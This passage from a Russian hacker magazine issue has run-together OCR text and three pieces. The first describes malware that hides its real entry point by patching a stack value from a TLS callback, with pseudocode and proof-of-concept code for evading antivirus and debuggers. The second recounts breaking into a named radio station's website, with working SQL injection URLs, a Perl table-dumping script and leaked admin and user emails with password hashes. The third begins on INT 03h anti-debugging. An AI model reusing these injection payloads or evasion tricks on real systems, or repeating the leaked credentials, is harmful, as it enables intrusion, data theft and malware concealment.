книги хакеры / журнал хакер / 119_Optimized

Конференция AVAR-2008, посвященная (анти) вирусным технологиям, на которой я собираюсь зачитать свой доклад о способах подмены точки входа в файл

KERNEL32.DLL, что, конечно, весьма подозрительно, но на вещественное доказательство не тянет. Поковырявшись в системном загрузчике, я выяснил, что подлинный стартовый адрес потока находится практически на самом дне стека. И если малварь не предпринимает дополнительных способов маскировки, то «рукотворные» потоки обнаруживаются тривиальным сканером, который и был написан мной, что называется по горячим следам и послан Марку Руссиновичу вместе с баг-рапортом на Process Explorer. Поскольку никакой реакции так и не последовало, рапорт был обнародован на вполне респектабельной хакерской тусовке OpenRCE.org. Но и там он остался незамеченным.

Годом позже, разгребая завалы своих заметок, нацарапанных на клочках бумаги, я заинтересовался — на каком этапе загрузки файла стартовый адрес базового потока попадает в стек и можно ли его изменить из TLScallback’а или функции Dllmain статически прилинкованной DLL. Оказалось, что стартовый адрес формируется до инициации TLS/Dllmain, а после инициализации обращения к оригинальной точке входа, прописанной в PE-заголовке, уже не происходит. Система использует адрес, сохраненный в стеке, и этот адрес действительно может быть изменен. Отладчики (не говоря уже о дизассемблерах) к такой «подлянке», разумеется, не готовы и в своей массе просто теряют контроль над исполняемым файлом! Я тут же написал crackme, выложил его на OpenRCE, но хакерская общественность не оценила предложенный трюк по достоинству. В результате чего я потерял к этой затее всякий интерес… Тем временем, хакерская группировка (пожелавшая остаться в тени, в смысле не оставившая в коде никаких инициалов) переоткрыла

технологию изменения точки входа, использовав ее в малвари нового поколения. Статическими антивирусными сканерами она не обнаруживается в принципе! Как минимум, нужен полноценный эмулятор ЦП с качественным эмулятором окружения Windows, учитывающим недокументированные особенности системного загрузчика PE-файлов (а именно на них держится механизм подмены точки входа).

Из всех существующих антивирусов малварь нового поколения сегодня могут обнаруживать только NOD32, F-Secure, Symantec, KAV, Dr.Web, да и то, лишь после усовершенствования эмулятора окружения Windows.

Остальные тихо курят в сторонке. Неудивительно, что рассылка POC’ов знакомым сотрудникам антивирусных компаний (Checkpoint, Symantec, F-Secure, K7Computing) вызывала конкретный резонанс, завершившийся посылом меня... нет, туда меня послали горячие парни из KAV’а. Ладно, это все шутки. А ситуация вполне серьезна. Уж не я ли спровоцировал рождение малвари нового поколения? Нет и еще раз нет. Это совершенно независимая находка неизвестной хакерской группы (что элементарно доказывается анализом кода). Несмотря на то, что мой

crackme и обозначенная малварь исповедуют идентичные концепции, детали реализации совершенно различны. Позиция стартового адреса потока в стеке непостоянна и варьируется даже в рамках отдельно взятой версии операционной системы. Это высадило меня на разработку системно-независимого алгоритма, сканирующего стек на предмет поиска наиболее вероятных кандидатов на роль стартового адреса. В то же самое время, пойманная малварь использует фиксированные локации и потому функционирует только под строго определенными версиями операционной системы. Логично, если бы хакеры увидели мой crackme, они бы непременно позаимствовали системно-незави- симый алгоритм, но этого не произошло. Значит, есть все основания предполагать, что это — продукт параллельных исследований, и я тут совсем не причем.

В настоящее время компания Endeavor Security, Inc работает над армированием AMP (Active Malware Protection), присобачивая к ней перехаченный x86emu вместе с эмулятором окружения Windows, «осведомленным» о недокументированных возможностях системного загрузчика PE-файлов. Так что AMP имеет все шансы оказаться первым коммерческим продуктом, способным распознавать малварь нового поколения и не только распознавать, но и блокировать.

А проблема действительно встает в полный рост и чем дальше, тем выше. Какое-то время антивирусы не смогут обнаруживать малварь, изменяющую точку входа в PE-файл, и нам придется сражаться с ней вручную, а для этого нужно не только уверенно держать IDA-Pro/HIEW в руках, но и разбираться в недокументированных тонкостях работы системного загрузчика. О них мы сейчас и поговорим.

Точкивхода—живыеимертвые

Спецификация на PE-файл от Microsoft описывает специальное поле в PE-заголовке, хранящее относительный виртуальный адрес (RVA) точки входа в файл, с которого как бы и начинается его выполнение. «Как бы», потому что точка входа (она же Entry Point) выполняется не первой, а последней.

До передачи управления на Entry Point система загружает все статически прилинкованные динамические библиотеки, вызывая функции Dllmain, исполняющиеся в контексте загрузившего их процесса и способные воздействовать на него любым образом. TLS-callback’и (да-да, те самые, о которых мы уже говорили в #5 «Энциклопедии антиотладочных приемов») также получают управление до выполнения точки входа, которой, вообще-то, может и не быть. В самом деле! Если Dllmain или TLS-callback «забудет» возвратить управление, точку входа вызывать станет уже некому и потому она может указывать на любой код! Но не будем забегать вперед.

Рассмотрим классический алгоритм определения точки входа, взятый на вооружение многими антивирусами, отладчиками, дизассемблерами, определителями упаковщиков и т.д., и т.п. — устали перечислять.

Классическийспособ определенияточкивходавфайл

#define PE_off 0x3C // PE magic word raw offset #define EP_off 0x28 // relative Entry Point filed offset

// obtain exe base address

GetModuleFileName(0, buf, _MAX_PATH);

base_x = (BYTE*) GetModuleHandle(buf); pe_off = *((DWORD*)(base_x + PE_off));

ep_off = *((DWORD*)(base_x + pe_off + EP_off)); ep_adr = base_x + ep_off; // RVA to VA

Адрес точки входа в файл, лежащий на дне стека базового потока

return ep_adr;

}

Конечно, «промышленная» реализация функции GetEP() выглядит чуть сложнее, поскольку осуществляет множество проверок, опущенных в листинге для простоты понимания. Но не в проверках дело, а в концепции. Дырявой, естественно.

Отладчики ставят сюда бряк, в надежде, что он сработает. Но он не сработает, если адрес точки входа изменен. Стоп! Я опять устроил кавардак. Еще раз, медленно и по порядку. Когда отладчик порождает отладочный процесс и запускает его на выполнение, то первым срабатывает бряк, засунутый системой в функцию NTDLL!DbgBreakPoint. Она сигнализирует о том, что отлаживаемый файл спроецирован в адресное пространство и с ним можно работать как со своим собственным. В частности, считывать PE-заголовок и устанавливать бряк на точку останова. Дело в том, что операционная система никак не информирует отладчик о передаче управления на точку входа и отслеживать этот процесс отладчик должен самостоятельно.

ntdll!DbgBreakPoint:

Дизассемблеры никаких бряков не устанавливают, а просто тупо начинают дизассемблирование с точки входа. Что же касается антивирусов, то вообще-то тут действуют разные стратегии. Сигнатура может быть привязана не только к точке входа, но и к смещению относительно конца/начала файла (или секции). В этом случае, изменение точки входа никак не повлияет на умственные способности антивируса. Однако, прежде чем искать сигнатуру, файл необходимо распаковать, а в случае полиморфных вирусов — еще и прогнать их через эмулятор. И вот тут-то без правильного определения точки входа не обойтись!

Некоторые вирусы используют довольно хитрый трюк, совершая jump из TLS-callback’а, то есть, фактически, выполняя TLS-callback без возврата управления. В результате чего оригинальная точка останова идет лесом и может содержать что угодно. Конечно, в разумных пределах. Наглеть не стоит. В частности, начиная с XP, системный загрузчик выполняет ряд проверок, и файлы с точкой останова, вылетающей за пределы страничного образа, просто не загружаются в память! Но даже если бы они и загружались, для антивируса такая точка останова выглядит слишком подозрительно и легко ловится эвристическим анализатором. Какой смысл палить себя на мелочах? Лучше засунуть в точку входа безобидный код, а из TLS-callback’а совершить переход на вирусное тело. В грубом приближении это выглядит так.

Псевдокодмалваристарогопоколения,перекрывающей точкувходавPE-файлпосредствомблокировкивозврата управленияизTLS-callback’а

EntryPoint:

XOR EAX, EAX PUSH EAX

CALL d, ds:[ExitProcess]

…

VirusBody:

…

…

…

TLS_Callback1:

JMP VirusBody

На самом деле, антивирус, эмулирующий TLS (а проэмулировать его несложно, благо, он уже давно документирован), разломает эту комбинацию и даже не крякнет. Хотя на практике подавляющее большинство антивирусов либо вообще не знают о существовании TLS, либо эмулируют их некорректно, что открывает большой простор для творческих махинаций по сокрытию зловредного кода в самых неожиданных местах.

А теперь посмотрим на псевдокод малвари нового поколения:

EntryPoint:

XOR EAX, EAX PUSH EAX

CALL d, ds:[ExitProcess]

…

VirusBody:

…

…

…

TLS_Callback1:

ADD d, ds:[ESP+magic_offset], offset VirusBody

— offset EntryPoint RETN 0Ch

На первый взгляд никакой разницы, но если подумать головой, то разница будет просто драматической. В первом случае мы имеем ничем не прикрытый бесстыдный jump из TLS-callback’а. И хотя его можно замаскировать с помощью самомодифицирующегося кода или запутанных математических преобразований, целевой адрес перехода

декодируется однозначно и указывает на вирусное тело. Во втором случае TLS-callback добавляет какое-то значение к некоторой ячейке памяти, лежащей в области стека, и возвращает управление системе. Человек с отладчиком чисто теоретически может трассировать тонны машинных инструкций, ответственных за инициализацию файла. Он может даже дождаться момента передачи управления на точку входа или хотя бы область памяти, не принадлежащую системе, а находящуюся в границах PE-файла или одной из динамических библиотек. И тогда товарищ с удивлением обнаружит, что точка входа каким-то магическим образом не получает управления! Вот только трассировать придется долго и непродуктивно.

Антивирусам приходится еще хуже. Они не могут трассировать код, исполняющийся на живой операционной системе (вряд ли стоит объяснять, почему). Откуда им знать, что именно находится в данной конкретной ячейке памяти? А что, собственно говоря, там находится и как оно туда попадает? Попробуем разобраться!

Тайнысистемногозагрузчика

Существуют различные уровни недокументированности. Определенные свойства системы возникают в силу особенностей реализации конкретно взятого билда. Содержимое стека на момент старта потока, значение регистров

ифлагов на момент выхода из API-функций — не только не документированы, но еще и варьируются в широких пределах. А потому в долгосрочной перспективе закладываться на них нельзя.

Стартовый адрес потока представляет собой редкое исключение из правил. Он абсолютно недокументирован и в то же время неизбежно следует из документированных функций

иособенностей работы системного загрузчика. Системный загрузчик в грубом приближении работает так:

1.Проецирует PE-файл в память.

2.Считывает PE-заголовок, извлекает оттуда значение точки останова, представляющее собой относительный виртуальный адрес (RVA) и переводит его в линейный адрес (VA) путем сложения с базовым адресом, также хранящимся в PE-за- головке.

3.VA-адрес точки входа передается функции

CreateRemoteThread() в качестве одного из аргументов. А передается он через стек, поскольку 32 разрядные версии Windows используют stdcall-соглашение для всех API-функций без исключения (64 разрядные версии Windows используют fastcall-соглашение, передавая аргументы через регистры и стартовый адрес потока в стек не попадает).

4.Стартовый адрес базового потока (указывающий на точку входа) после прохождения всех проверок заталкивается в стек и больше к PEзаголовку система не обращается (это очень важный момент).

5.CreateRemoteThread() выполняет инициализа-

цию потока, в процессе которой отрабатываются функции Dllmain статически прилинкованных DLL, а также имеющиеся TLS-callback’и (если они, конечно, есть).

6.На завершающем этапе инициализации PE-фай-

ла, CreateRemoteThread() зовет недокументиро-

ванную, не экспортируемую, сугубо внутреннюю функцию BaseProcess(), передавая ей стартовый

Исходный текст POC’а, написанного мной

BaseAddress = ((BYTE*)lpBuffer. BaseAddress); RegionSize = lpBuffer.RegionSize - sizeof(DWORD);

/*

EP is KERNEL32!CreateRemoteThread() function argument, and this argument is near to the bottom of the stack

*/

for(; RegionSize > 0; RegionSize -= sizeof(DWORD)) if (((DWORD)ep_adr) == ( *(DWORD*)(BaseAddress +

RegionSize)))

(*(DWORD*)(BaseAddress + RegionSize)) =

NEW_EP ^ EP_KEY,

(*(DWORD*)(BaseAddress + RegionSize)) ^= EP_key;

return 1;

}

Охотникизапривидениями

Сложность эмуляции работы системного загрузчика связана с «плавающим» смещением точки входа. Даже если антивирус и положит ее в стек, то у него нет никаких гарантий, что вирус ее там найдет, а не попытается изменить соседнюю ячейку. Антивирус не знает, какую версию операционной системы «поддерживает» анализируемый вирус и каким образом он ее определяет. Помимо тупого вызова GetVersionEx, вирус может обратиться к реестру или посчитать контрольную сумму определенных системных библиотек. Короче, возможных вариантов намного больше одного!

Конечно, мой код (в «канонической» форме) легко попадется на ловушки, расставленные антивирусами, поскольку даже не пытается отличить подлинный стартовый адрес потока, засунутый в стек системой, от его имитации антивирусом. Но, во-первых, антивирусы ничего об этом трюке пока не знают, а, во-вторых, я преследовал совсем иные цели, и код замечательно работает в защитных механизмах в силу того, что совместим со всеми системами, а не только со строго определенными версиями.

Реальнаябомба

Малварь, изменяющая точку входа, только-только начинает появляться и предсказать пути ее дальнейшего развития весьма затруднительно. Пока ясно одно

— это бомба, реальная бомба. Первый серьезный вызов антивирусам за последние несколько лет! Интересно наблюдать за реакцией их разработчиков, варьирующейся от ужаса до тупого непонимания проблемы. Что ж, если технология получит развитие, то кое-кто очень скоро вылетит с рынка. z

Леонид «R0id» Стройков

/ stroikov@gameland.ru /

Шутки ради

Одним осенним вечером, когда прохлада и слякоть за окном отбивали всякое желание выбраться на прогулку, я решил пропарсить в Сети несколько радиостанций на предмет хорошей музыки. Перебирая одно «радио» за другим, я вдруг наткнулся на любимую многими радиостан-

цию «Юмор FM» (Диджеям сего радио респект, — Прим. автора).

После нескольких прикольных историй, услышанных в эфире, в моей голове родилась очередная безумная идея, вследствие которой вещание радиостанции уже перестало меня интересовать.

В окне браузера замелькал Гугл с заголовками «Юмор FM». Моему взору предстали десятки разнообразных доменов, состоящих из комбинаций слов «humor»/«yumor» и «fm», но среди прочих выделялся красивый и явно не дешевый домен www.humor.fm. Как и ожидалось, линк вел на официальный сайт радиостанции «Юмор FM». Первымделомя по привычке воспользовался сервисом http://madnet.name/tools/madss, который выдал следующую информацию по домену www.humor.fm:

IP: 77.120.97.62

ТИЦ: 30 PR: 3

Кроме того, на сервере хостилось несколько десятков ресурсов, которые, впрочем, трогать раньше времени не хотелось. Удаленно просканировав сервер, я получил примерный расклад по открытым портам и запущенным службам, среди которых значились:

21 TCP порт — FTP

25 TCP порт — SMTP

53 TCP порт — DNS

80 TCP порт — HTTP

110 TCP порт — POP3

Увы, но дополнительное сканирование на наличие открытых для чтения каталогов (с учетом неправильно выставленных чмодов) результатов не дало. Так же, как и не была найдена админка или хоть какое-то подобие администраторской панели. После недолгого ковыряния движка, сопровождавшегося изредка встречающимися пассивными XSS’ками, была успешноопробованаформочкавосстановленияпароля,располагавшая­ ся по адресу: https://humor.fm/forget/do.4.

Стоит ли говорить, что в полях «Логин» и «E-mail» напрочь отсутствовала какая-либо фильтрация. Налицо — sql-инъекция, правда, полноценно использовать ее можно было только при помощи POST-запросов.

Погуляв по сайту еще некоторое время, я обнаружил достаточно удобную sql-инъекцию в параметре сообщения об ошибке в скрипте логина. Причем, бага была явной, — всю ругань СУБД на неправильно сконструированный запрос я мог отчетливо наблюдать на своем мониторе:

DEBUG MODE

SQL Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND id_lng ='1'' at line 1

Девелоперы ресурса

SQL: SELECT text FROM db_strings WHERE alias = 'здесь_ наш_запрос' AND id_lng ='1'

FILE: /kernel/modules/CPage.php LINE: 93

FUNCTION: row_select

Поле адресной строки для внедрения скул-запроса выгляде-

ло следующим образом: http://humor.fm/login/?error=- 1’+union+select+table_name+from+information_schema. tables+limit+1,1%23. Благо, на сервере крутилась пятая версия мускула, и я без труда мог шарить по интересующим меня табличкам. Однако количество таблиц в information_schemaзашкаливало за несколько десятков, что сулило не один час работы. Немного отредактировал собственный скул-граббер:

#!/usr/bin/perl

print "= SQL-injection Grabber =\n";

use LWP::Simple qw(get); open(F, '>E:\Perl\result.txt'); $z=0;

for ($i=1;$i<=50;$i++){ open(C, '>count.txt');

$url="http://humor.fm/login/?error=-1'+union+select +concat(char(94),table_name,char(94))+from+information _schema.tables+limit+$i,1%23";

$cont=get($url); print F $cont."\n"; $z=$z+1;

print C $z; close C;

}

close F;

print "= DONE =\n"; print $z;

После чего я запустил скрипт и отправился спать.

Веселье продолжается

Проснувшись и отпарсив лог скул-граббера, я получил список названий табличек (часть записей):

Хэш пароля админа заполучен

db_cat, db_chunks, db_cms_log, db_count, db_dest_ cities, db_dest_countries, db_dest_provinces, db_faq, db_faq_copy, db_faq_strings, db_group, db_lng, db_mail, db_mail_resume, db_mail_strings, db_mail_strings_ copy, db_menu, db_news, db_news_copy, db_news_tree, db_permit, db_press, db_search_strings, db_sessions, db_strings, db_templates, db_templates_copy, db_user, db_user_dealers_info, db_user_dealers_info_copy, db_ user_strings, db_user_visotors_info, db_user_visotors_ info_copy

В первую очередь, меня интересовала таблица db_user, содержимое которой я просматривал уже через несколько минут:

•http://humor.fm/login/?error=-1'+union+select+conc at(login,char(58),email,char(58),password)+from+db_ user+limit+1,1%23

•http://humor.fm/login/?error=-1'+union+select+concat (login,char(58),email,char(58),password)+from+db_user+ where+login=%22admin%22%23

Таким образом, была найдена учетная запись админа:

admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac

Увы, но вместо пароля в базе хранились мд5 хэши. Поэтому, так же как и в случае с табличками, я решил слить всю базу пользователей (около 600 записей) при помощи sql-граббера для последующего детального анализа (Часть записей, — Прим. автора):

cappy:cappy@mail.ru:168416487b5b0dea3478992a914c7706

qwas:qwas@idea.net.ua:c8e25115addeda1656b52cfbe7b2b780

info

На крупных ресурсах, помимо пассивных XSS, зачастую можно найти сразу несколько sql-инъекций. Если количество табличек в базе information_schema

непомерно велико

— можно слить их себе на винт при помощи граббера и разобраться в списке более детально.

dvd

На нашем DVD ты найдешь полное видео по взлому сайта радиостанции «Юмор FM». Смотри внимательно.

warning

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

076

Крис Касперски

Энциклопедия

антиотладочных

приемов

Вокруг INT 03h

Программная точка останова на исполнение (softwarebreakpointon execution) физически представляет собой однобайтовую процессорную инструкцию CCh (INT 03h), внедряемую дебаггером непосредственно в отлаживаемый код с неизбежной перезаписью оригинального содержимого. Встретившись с INT 03h, процессор генерирует исключение типа EXCEPTION_BREAKPOINT, перехватываемое отладчиком, который останавливает выполнение программы, автоматически восстанавливая содержимое байта, «испорченного» точкой останова.

Именно так и поступает Ольга при нажатии клавиши <F2> и SoftICE по <F7>. Достоинство программных точек останова в том, что их количество ограничено только архитектурными особенностями отладчика (то есть, практически не ограниченно). В то время как аппаратных точек останова, поддерживаемых процессором на железном уровне, всего четыре.

Недостаток же программных точек останова в том, что они требуют модификации отлаживаемого кода, что легко обнаруживается ломаемой программой тривиальным подсчетом контрольной суммы. Причем, защита может не только задетектить бряк, но и снять его, восстановив исходное значение «брякнутого» байта вручную. Бряк, естественно, не сработает, хотя отладчик продолжит подсвечивать

брякнутую строку, вводя хакера в заблуждение (отладчик хранит список точек останова внутри своего тела и не проверяет присутствие INT 03h в отлаживаемом коде).

Многие отладчики (в том числе и Ольга) устанавливают в точку входа (Entry Point) программный бряк. Его легко обнаружить из функции DllMain статически прилинкованной динамической библиотеки, возвратив принудительный ноль — что означает «ошибка инициализации»